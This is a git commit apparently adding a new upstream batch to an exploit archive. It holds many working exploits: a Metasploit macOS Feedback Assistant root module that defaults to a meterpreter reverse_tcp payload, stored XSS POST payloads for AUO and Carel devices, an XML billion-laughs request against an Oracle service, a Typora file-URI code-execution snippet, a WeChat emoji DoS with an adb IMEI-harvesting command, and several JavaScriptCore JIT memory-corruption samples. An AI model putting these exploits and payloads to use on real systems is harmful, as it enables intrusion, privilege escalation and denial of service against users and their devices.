Commit 6eed1b95 authored by Devon Kearns's avatar Devon Kearns

New upstream version 20190528

parent e7b1d314
# Exploit Title: DoS Wechat with an emoji
# Date: 16-May-2019
# Exploit Author: Hong Nhat Pham
# Vendor Homepage:
# Software Link:
# Version: 7.0.4
# Tested on: Android 9.0
# CVE : CVE-2019-11419
vcodec2_hls_filter in in WeChat application for
Android results in a DoS by replacing an emoji file (under the
/sdcard/tencent/MicroMsg directory) with a crafted .wxgf file.
Crash-log is provided in file at
Vulnerability Type:
Denial of Service
Vendor of Product:
Affected Product Code Base:
WeChat for Android - Up to latest version (7.0.4)
Affected Component:
Function vcodec2_hls_filter in
Attack Type:
Attack vector:
An malware app can crafts a malicious emoji file and overwrites the
emoji files under /sdcard/tencent/MicroMsg/[User_ID]/emoji/[WXGF_ID].
Once the user opens any chat messages that contain an emoji, WeChat
will instantly crash.
Video at
User must have sent or received a GIF file in WeChat
Malware app must retrieve the phone’s IMEI. For POC, we can use the
below command
adb shell service call iphonesubinfo 1 | awk -F "'" '{print $2}' | sed
'1 d' | tr -d '.' | awk '{print}' ORS=-
Produce the malicious emoji file with the retrieved IMEI (use in
python crash4.wxgf [SIZE_OF_EMOJI_ON_SDCARD]
Replace /sdcard/tencent/MicroMsg/[User_ID]/emoji/[WXGF_ID] with the
padded out.wxgf.encrypted
WeChat will crash now if a message that contains the overwritten emoji file
Proof of Concept:
\ No newline at end of file
# Exploit Title: TL-WR840N v5 00000005
# Date: 5/10/2019
# Exploit Author: purnendu ghosh
# Vendor Homepage:
# Software Link:
# Category: Hardware
# Firmware Version:0.9.1 3.16 v0001.0 Build 171211 Rel.58800n
# Hardware Version:TL-WR840N v5 00000005
# Tested on: Windows 10
# CVE :CVE-2019-12195.
# Proof Of Concept:
TP-Link TL-WR840N v5 00000005 devices allow XSS via the network name. The attacker must
log into the router by breaking the password and going to the admin
login page by THC-HYDRA to get the network name. With an XSS payload,
the network name changed automatically and the internet connection was
disconnected. All the users become disconnected from
the internet.
[Additional Information]
To ensure your network to be safe from Renaming and internet disconnection.
[Vulnerability Type]
Cross Site Scripting (XSS)
[Vendor of Product]
[Affected Product Code Base]
router - TL-WR840N v5 00000005
[Affected Component]
Wi-Fi network configured through the router
[Attack Type]
[Impact Denial of Service]
[Impact Information Disclosure]
[Attack Vectors]
Logged in to the router by breaking the password and goes to the admin
login page by THC-HYDRA and got the network name. Using Burp Suite
professional version 1.7.32 captured the network name and selected XSS
payload against the name and started attacking .as a result the
network name changed automatically and internet connection was
disconnected in the network. All the users become disconnected from
purnendu ghosh
\ No newline at end of file
# Exploit Title: AUO Solar Data Recorder - Stored XSS
# Date: 2019-04-16
# Exploit Author: Luca.Chiou
# Vendor Homepage:
# Version: AUO Solar Data Recorder all versions prior to v1.3.0
# Tested on: It is a proprietary devices:
# 1. Description:
# In AUO Solar Data Recorder web page,
# user can modify the system settings by access the /protect/config.htm.
# Attackers can inject malicious XSS code in parameter "addr" of post data.
# The value of addr will be stored in database, so that cause a stored XSS vulnerability.
# 2. Proof of Concept:
# Browse http://<Your<http://%3cYour> Modem IP>/protect/config.htm
# Send this post data:
addr= "<script>alert(123)</script>&dhcp=1
\ No newline at end of file
# Exploit Title: Carel pCOWeb - Stored XSS
# Date: 2019-04-16
# Exploit Author: Luca.Chiou
# Vendor Homepage:
# Version: Carel pCOWeb all versions prior to B1.2.1
# Tested on: It is a proprietary devices:
# 1. Description:
# In Carel pCOWeb web page,
# user can modify the system configuration by access the /config/pw_snmp.html.
# Attackers can inject malicious XSS code in post data.
# The XSS code will be stored in database, so that cause a stored XSS vulnerability.
# 2. Proof of Concept:
# Browse http://<Your<http://%3cYour> Modem IP>/config/pw_snmp.html
# Send this post data:
# The post data in URL decode format is:
\ No newline at end of file
# Exploit Title: Carel pCOWeb - Unprotected Storage of Credentials
# Date: 2019-04-16
# Exploit Author: Luca.Chiou
# Vendor Homepage:
# Version: Carel pCOWeb all versions prior to B1.2.1
# Tested on: It is a proprietary devices:
# 1. Description:
# The devices, Carel pCOWeb, store plaintext passwords,
# which may allow sensitive information to be read by someone with access to the device.
# 2. Proof of Concept:
# Browse the maintain user page in website:
# http://<Your<http://%3cYour> Modem IP>/config/pw_changeusers.html
# The user's information include Description, Username and Password.
# In user page, we can find out that user passwords stored in plaintext.
\ No newline at end of file
Visual Voicemail (VVM) is a feature of mobile devices that allows voicemail to be read in an email-like format. Carriers set up a Visual Voicemail server that supports IMAP, and the device queries this server for new email. Visual Voicemail is configured over SMS, and carriers inform devices of the location of the IMAP server by sending a specially formatted SMS message containing the URL of the IMAP server.
SMS messages are determined to be VVM-related based on their PID field as well as their contents. Both of these fields can be set by a device sending SMS messages, so any device can send a message that causes Visual Voicemail to query an IMAP server specified in the message. This means that an attacker can force a device to query an IMAP server they control without the user interacting with the device in any way.
There is an object lifetime issue in the iPhone IMAP client that can be accessed in this way. It happens when a NAMESPACE command response contains a namespace that cannot be parsed correctly. It leads to the mailbox separator being freed, but not replaced with a valid object. This leads to a selector being called on an object that is not valid.
To reproduce this issue:
1) Run on a remotely accessible server. To run on port 993, this will need to be on a server that has a domain name, and a certificate that verifies correctly. Replace the "YOUR KEY HERE" fields in with the location of the cert files. On some carriers, it is possible to use port 143 without SSL instead.
2) Send the attached SMS messages to the device, first statepdu.txt and then mboxupdatepdu.txt. Replace the destination number and server location in the messages with the location of your target device and server before sending.
3) The device will connect to the server, and then crash
Note that this attack depends somewhat on the carrier the device is on. I tested this issue on an AT&T SIM. I was not able to reproduce this issue on a T-Mobile SIM, because their network does not allow VVM connections to outside servers. It might be possible to bypass this by hosting the server on a peer device on the network, but I didn't try this. The PID used for VVM SMS messages also varies based on carrier.
I've attached a crash log for this issue. I've also attached decoded.txt, which describes the contents of the SMS pdus, and, which is a non-minimized PoC that leaders to a wider variety of crashes.
When retrieving a message, the VVM client calls [IMAPAccount _updateSeparatorAndNamespaceWithConnection:] to get the server separator and namespace prefix. This method first retrieves the server separator by calling [MFIMAPConnection separatorChar] which causes the LIST command to be sent to the server, and returns the separator. The method also stores the separator as a member of the connection object, which gives the separator its sole reference. [IMAPAccount _updateSeparatorAndNamespaceWithConnection:] then calls [MFIMAPConnection serverPathPrefix] to get the prefix, which in turn calls [MFIMAPConnection _doNamespaceCommand] to perform the NAMESPACE command over the network. If this command fails for any reason (for example, malformed response, LOGOUT command, etc.), it will call [MFIMAPConnection disconnectAndNotifyDelegate:], which removes the separator from the connection object, removing its only reference. The rest of [IMAPAccount _updateSeparatorAndNamespaceWithConnection:] will then use a separator object that has been freed.
This issue was resolved by adding a lock to [IMAPAccount _updateSeparatorAndNamespaceWithConnection:] and [MFIMAPConnection disconnectAndNotifyDelegate:] so that they cannot run at the same time for the same connection.
This issue was fixed on Tuesday, May 14
Proof of Concept:
\ No newline at end of file
# Exploit Title: Oracle CTI Web Service XML Entity Exp.
# Exploit Author: omurugur
# Author Web:
# Author Social: @omurugurrr
As can be seen in the following request / response example, the xml entity expansion attack can be performed, and this attack can send requests that exceed the existing memory and processor capacities, causing memory bottlenecks and preventing the service from running.
10kb more request is returned.
Examples Request;
Accept-Encoding: gzip, deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: "getCampaignHistory"
Content-Length: 1696
Host: ****
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: close
<!DOCTYPE foo [<!ENTITY ha "Ha !"> <!ENTITY ha2 "&ha; &ha; &ha; &ha; &ha; &ha; &ha; &ha;"> <!ENTITY ha3 "&ha2; &ha2; &ha2; &ha2; &ha2; &ha2; &ha2; &ha2;"> <!ENTITY ha4 "&ha3; &ha3; &ha3; &ha3; &ha3; &ha3; &ha3; &ha3;"> <!ENTITY ha5 "&ha4; &ha4; &ha4; &ha4; &ha4; &ha4; &ha4; &ha4;"> <!ENTITY ha6 "&ha5; &ha5; &ha5; &ha5; &ha5; &ha5; &ha5; &ha5;"> ]><soapenv:Envelope xmlns:soapenv="" xmlns:ebs="" xmlns:ave=";rk">
Example Response1;
HTTP/1.1 500 Internal Server Error
Date: Tue, 17 Apr 2018 06:33:07 GMT
Content-Type: text/xml; charset=utf-8
X-ORACLE-DMS-ECID: c55d8ba7-c405-4117-8a70-8b37f745e8f0-0000b9df
Connection: close
Content-Length: 328676
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv=""><soapenv:Header xmlns:ave=" ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha
! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha !rk" xmlns:ebs=""><soapenv:Fault><faultcode>soapenv:Server.SYS000000</faultcode><faultstring>Undefined Avea Service Bus Error</faultstring><detail><faul:ExceptionSchema xmlns:faul=""><faul:UUID>MW-4b9f61d0-7792-4e54-a694-b9ef8c407b7e</faul:UUID><faul:Exception><faul:system>SYSTEM</faul:system><faul:code>OSB-382510</faul:code><faul:message>SYS000000:Undefined Avea Service Bus Error</faul:message><faul:stackTrace>PipelinePairNodePipelinePairNode_requestDynamic Validationrequest-pipelinetrue</faul:stackTrace></faul:Exception></faul:ExceptionSchema></detail></soapenv:Fault></soapenv:Body></soapenv:Envelope>
\ No newline at end of file
This diff is collapsed.
# This module requires Metasploit:
# Current source:
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
'Name' => 'Mac OS X Feedback Assistant Race Condition',
'Description' => %q{
This module exploits a race condition vulnerability in Mac's Feedback Assistant.
A successful attempt would result in remote code execution under the context of
'License' => MSF_LICENSE,
'Author' => [
'CodeColorist', # Discovery and exploit
'timwr', # Metasploit module
'References' => [
['CVE', '2019-8565'],
['URL', ''],
['URL', ''],
['URL', ''],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Platform' => [ 'osx', 'python', 'unix' ],
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
'DisclosureDate' => 'Apr 13 2019'))
register_advanced_options ['WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
def upload_executable_file(filepath, filedata)
print_status("Uploading file: '#{filepath}'")
write_file(filepath, filedata)
def check
version =
if version >='10.14.4')
def exploit
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
case target['Arch']
when ARCH_X64
payload_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
upload_executable_file(payload_file, binary_payload)
root_cmd = payload_file
root_cmd = "echo \"#{payload.encoded}\" | python"
root_cmd = payload.encoded
root_cmd = root_cmd + " & \0"
if root_cmd.length > 1024
fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"
exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8565", "exploit" ))
placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')
exploit_data[placeholder_index, root_cmd.length] = root_cmd
exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
upload_executable_file(exploit_file, exploit_data)
print_status("Executing exploit '#{exploit_file}'")
result = cmd_exec(exploit_file)
print_status("Exploit result:\n#{result}")
\ No newline at end of file
Exploit Title: Code execution via path traversal
# Date: 17-05-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage:
# Software Link:
# Version:
# Tested on: macOS Mojave v10.14.4
# CVE: CVE-2019-12137
# References:
Typora on macOS allows directory traversal, for the execution of
arbitrary programs, via a file:/// or ../ substring in a shared note via
abusing URI schemes.
Technical observation:
A crafted URI can be used in a note to perform this attack using file:///
has an argument or by traversing to any directory like
Since, Typro also has a feature of sharing notes, in such case attacker
could leverage this vulnerability and send crafted notes to the
victim to perform any further attack.
Simple exploit code would be:
<a href="file:\\\Applications\" id=inputzero>
<img src="someimage.jpeg" alt="inputzero" width="104" height="142">
(function download() {
\ No newline at end of file
#Exploit Title: Deluge 1.3.15 - 'URL' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-20
#Vendor Homepage:
#Software Link:
#Tested Version: 1.3.15
#Tested on: Windows 7 Service Pack 1 x64
#Steps to produce the crash:
#1.- Run python code:
#2.- Open deluge_url.txt and copy content to clipboard
#3.- Open deluge.exe
#4.- Select "File" > "Add Torrent" > "URL"
#5.- In "From URL" field paste Clipboard
#6.- Select "OK"
#7.- Crashed
cod = "\x41" * 5000
f = open('deluge_url.txt', 'w')
\ No newline at end of file
See also for a similar issue.
The DFG JIT compiler attempts to determine whether a DFG IR operation could cause garbage collection (GC) during its execution [1]. With this, it is then possible for the compiler to determine whether there could be a GC between point A and point B in a function, which in turn can be used to omit write barriers (see e.g. for an explanation of write barriers) [2]. For example, in case an (incremental) GC cannot happen between an allocation of an object and a property store to it, the write barrier after the property store can be omitted (because in that case the newly allocated object could not already have been marked, so must be white). However, if the analysis is incorrect and a GC can happen in between, then the emitted code can cause use-after-free issues, e.g. if an unmarked (white) object is assigned as property to an object that was marked during an unexpected GC (and is thus black).
Since commit 9725889d5172a204aa1120e06be9eab117357f4b [3] "Add code to validate expected GC activity modelled by doesGC() against what the runtime encounters", JSC, in debug builds, asserts that the information computed by doesGC is correct: "In DFG::SpeculativeJIT::compile() and FTL::LowerDFGToB3::compileNode(), before emitting code / B3IR for each DFG node, we emit a write to set Heap::m_expectDoesGC to the value returned by doesGC() for that node. In the runtime (i.e. in allocateCell() and functions that can resolve a rope), we assert that Heap::m_expectDoesGC is true.". The following sample (found through fuzzing and then simplified), triggers such an assertion:
function f(a) {
return 0 in a;
for (let i = 0; i < 100000; i++) {
const s = new String('asdf');
s[42] = 'x'; // Give it ArrayStorage
Here, the `in` operation is converted to a HasIndexedProperty DFG operation [4]. Since the String object has ArrayStorage (due to the additional element), DFGClobberize will report that it does not write to the heap [5]. Afterwards, doesGC reports that the operation cannot trigger GC [6]. However, during the execution of the operation (in the DFG JIT implemented by a call to operationHasIndexedPropertyByInt [7]) the code ends up in JSString::getIndex (to determine whether the index is valid in the underlying string), which can end up flattening a rope string, thus causing a heap allocation and thus potentially causing garbage collection. This is where, in debug builds, the assertion fails:
ASSERTION FAILED: vm()->heap.expectDoesGC()
../../Source/JavaScriptCore/runtime/JSString.h(1023) : WTF::StringView JSC::JSString::unsafeView(JSC::ExecState *) const
1 0x10d67e769 WTFCrash
2 0x10bb6948b WTFCrashWithInfo(int, char const*, char const*, int)
3 0x10bba9e59 JSC::JSString::unsafeView(JSC::ExecState*) const
4 0x10bba9c6e JSC::JSString::getIndex(JSC::ExecState*, unsigned int)
5 0x10c712a24 JSC::JSString::getStringPropertySlot(JSC::ExecState*, unsigned int, JSC::PropertySlot&)
6 0x10d330b90 JSC::StringObject::getOwnPropertySlotByIndex(JSC::JSObject*, JSC::ExecState*, unsigned int, JSC::PropertySlot&)
7 0x10bbaa368 JSC::JSObject::getPropertySlot(JSC::ExecState*, unsigned int, JSC::PropertySlot&)
8 0x10d20d831 JSC::JSObject::hasPropertyGeneric(JSC::ExecState*, unsigned int, JSC::PropertySlot::InternalMethodType) const
9 0x10c70132f operationHasIndexedPropertyByInt
\ No newline at end of file
While fuzzing JavaScriptCore, I encountered the following (modified and commented) JavaScript program which crashes jsc from current HEAD and release:
// Run with --useConcurrentJIT=false
// Fill the stack with the return value of the provided function.
function stackspray(f) {
// This function will spill all the local variables to the stack
// since they are needed for the returned array.
let v0 = f(); let v1 = f(); let v2 = f(); let v3 = f();
let v4 = f(); let v5 = f(); let v6 = f(); let v7 = f();
return [v0, v1, v2, v3, v4, v5, v6, v7];
// JIT compile the stack spray.
for (let i = 0; i < 1000; i++) {
// call twice in different ways to prevent inlining.
stackspray(() => 13.37);
stackspray(() => {});
for (let v15 = 0; v15 < 100; v15++) {
function v19(v23) {
// This weird loop form might be required to prevent loop unrolling...
for (let v30 = 0; v30 < 3; v30 = v30 + "asdf") {
// Generates the specific CFG necessary to trigger the bug.
const v33 = Error != Error;
if (v33) {
} else {
// Force a bailout.
// CFA will stop here and thus mark the following code as unreachable.
// Then, LICM will ignore the memory writes (e.g. initialization of stack slots)
// performed by the following code and will then move the memory reads (e.g.
// access to stack slots) above the loop, where they will, in fact, be executed.
const v34 = (1337)[-12345];
function v38(v41) {
// v41 is 8 bytes of uninitialized stack memory here, as
// (parts of) this code get moved before the loop as well.
return v41.hax = 42;
for (let v50 = 0; v50 < 10000; v50++) {
let o = {hax: 42};
const v51 = v38(o, ...arguments);
// Force FTL compilation, probably.
for (let v53 = 0; v53 < 1000000; v53++) {
// Put controlled data onto the stack.
stackspray(() => 3.54484805889626e-310); // 0x414141414141 in binary
// Call the miscompiled function.
const v55 = v19(1337);
This yields a crash similar to the following:
# lldb -- /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc --useConcurrentJIT=false current.js
(lldb) target create "/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc"
Current executable set to '/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc' (x86_64).
(lldb) settings set -- "--useConcurrentJIT=false" "current.js"
(lldb) r
Process 45483 launched: '/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc' (x86_64)
Process 45483 stopped
* thread #1, queue = '', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
frame #0: 0x000025c3ca81306e
-> 0x25c3ca81306e: cmp dword ptr [rax], 0x127
0x25c3ca813074: jne 0x25c3ca81316f
0x25c3ca81307a: mov dword ptr [rbp + 0x24], 0x1
0x25c3ca813081: movabs rax, 0x7fff3c932a70
Target 0: (jsc) stopped.
(lldb) reg read rax
rax = 0x0001414141414141 // Note the additional 0x1 at the start due to the NaN boxing scheme (see JSCJSValue.h)
The same sample also sometimes triggers a crash with --useConcurrentJIT=true (the default), but it is more reliable with concurrent JIT disabled.
If the sprayed value is a valid pointer, that pointer would either be treated as an object with the structure of `o` in the following code (if the first dword matches the structure ID), or it would be treated as a JSValue after a bailout to the baseline JIT/interpreter.
It appears that what is happening here is roughly the following:
When v19 is JIT compiled in the DFG, it emits the following (shortened and simplified) DFG IR for the body of the loop:
# BASIC BLOCK #9 (loop body)
# Create object `o`
110: NewObject()
116: PutByOffset(@110, @113, id1{hax})
117: PutStructure(@110, ID:430)
# Spread `o` and `arguments` into a new array and use that for a varargs call
131: Spread(@30)
134: NewArrayWithSpread(@110, @131)
142: LoadVarargs(@134, R:World, W:Stack(-26),Stack(-24),Stack(-23),Stack(-22),Heap)
# Inlined call to v38, load the first argument from the stack (where LoadVarargs put it)
8: GetStack(R:Stack(-24))
177: CheckStructure(@8)
178: PutByOffset(@8, @113, id1{hax})
During loop-invariant code motion (LICM), the GetStack operation, reading from the stack slot initialized by the LoadVarargs operation, is moved in front of the loop (together with parts of the inlined v38 function), thus yielding:
# BASIC BLOCK #2 (before loop header)
8: GetStack(R:Stack(-24))
177: CheckStructure(@8)
# BASIC BLOCK #9 (loop body)
# Create object `o`
# Spread `o` and `arguments` into a new array and use that for a varargs call
142: LoadVarargs(@134, R:World, W:Stack(-26),Stack(-24),Stack(-23),Stack(-22),Heap)
As such, in the resulting machine code, the value for v41 (the argument for the inner function) will be loaded from an uninitialized stack slot (which is only initialized later on in the code).
Normally, this shouldn't happen as the LoadVarargs operations writes into the stack (W:Stack(-24)), and GetStack reads from that (R:Stack(-24)). Quoting from DFGLICMPhase.cpp: "Hoisting is valid if: ... The node doesn't read anything that the loop writes.". As such, GetStack should not have been moved in front of the loop.
The reason that it was still moved appears to be a logical issue in the way LICM deals with dead code: LICM relies on the data computed by control flow analysis (CFA) to know whether a block will be executed at all. If a block will never be executed (and so is dead code), then LICM does not take into account memory writes (e.g. to Stack(-24)) performed by any operation in this block (See It appears that this behaviour is incorrect, as in this case, CFA correctly concludes that block #9 is dead code (see below). As such, LICM doesn't "see" the memory writes and incorrectly moves the GetStack operation (reading from a stack slot) in front of the LoadVarargs operation (initializing that stack slot).
To understand why CFA computes that the loop body (block #9) is unreachable, it is necessary to take a look at the (simplified) control flow graph for v9, which can be found in the attachment (as it needs to be rendered in monospace font :)). In the CFG, block #3, corresponding to the `if`, is marked as always taking the false branch (which is correct), and thus jumping to block 5. Block 5 then contains a ForceOSRExit operation due to the out-of-bounds array access, which the JIT doesn't optimize for. As this operation terminates execution in the DFG, CFA also stops here and never visits the rest of the loop body and in particular never visits block #9.
To recap: in the provided JavaScript program, CFA correctly computes that basic block #9 is never executed. Afterwards, LICM decides, based on that data, to ignore memory writes performed in block #9 (dead code), then moves memory reads from block #9 (dead code) into block #2 (alive code). The code is then unsafe to execute. It is likely that this misbehaviour could lead to other kinds of memory corruption at runtime.
| 0 +----+
+-----+ |
+-----+ |
| 1 +-------+ v
+-----+ | +-----------+
^ | | 2 |
| +---->| loop head |
| +-----+-----+
| |
| v
| +---------+
| | 3 |
| | if head |
| +--+---+--+
| | |
| +-----+ | | +-----+
| | 5 |<-----+ +----->| 4 |
| +--+--+ +--+--+
| OSRExit here |
| +-----+ |
| | 6 |<-------+
| +--+--+
| +------+ |
+-------+ 7-10 |<------+
Rest of | Loop body
| To End of function
\ No newline at end of file
While fuzzing JavaScriptCore, I encountered the following JavaScript program which crashes jsc from current HEAD (git commit 3c46422e45fef2de6ff13b66cd45705d63859555) in debug and release builds (./Tools/Scripts/build-jsc --jsc-only [--debug or --release]):
// Run with --useConcurrentJIT=false --thresholdForJITAfterWarmUp=10 --thresholdForFTLOptimizeAfterWarmUp=1000
function v0(v1) {
function v7(v8) {
function v12(v13, v14) {
const v16 = v14 - -0x80000000;
const v19 = [13.37, 13.37, 13.37];
function v20() {
return v16;
return v19;
return v8(v12, v1);
const v27 = v7(v7);
for (let i = 0; i < 100; i++) {
It appears that what is happening here is roughly the following:
Initially, the call to v12 is inlined and the IR contains (besides others) the following instructions for the inlined v12:
1 <- GetScope()
2 <- CreateActivation(1)
3 <- GetLocal(v14)
4 <- JSConstant(-0x80000000)
5 <- ValueSub(3, 4)
6 <- NewArrayBu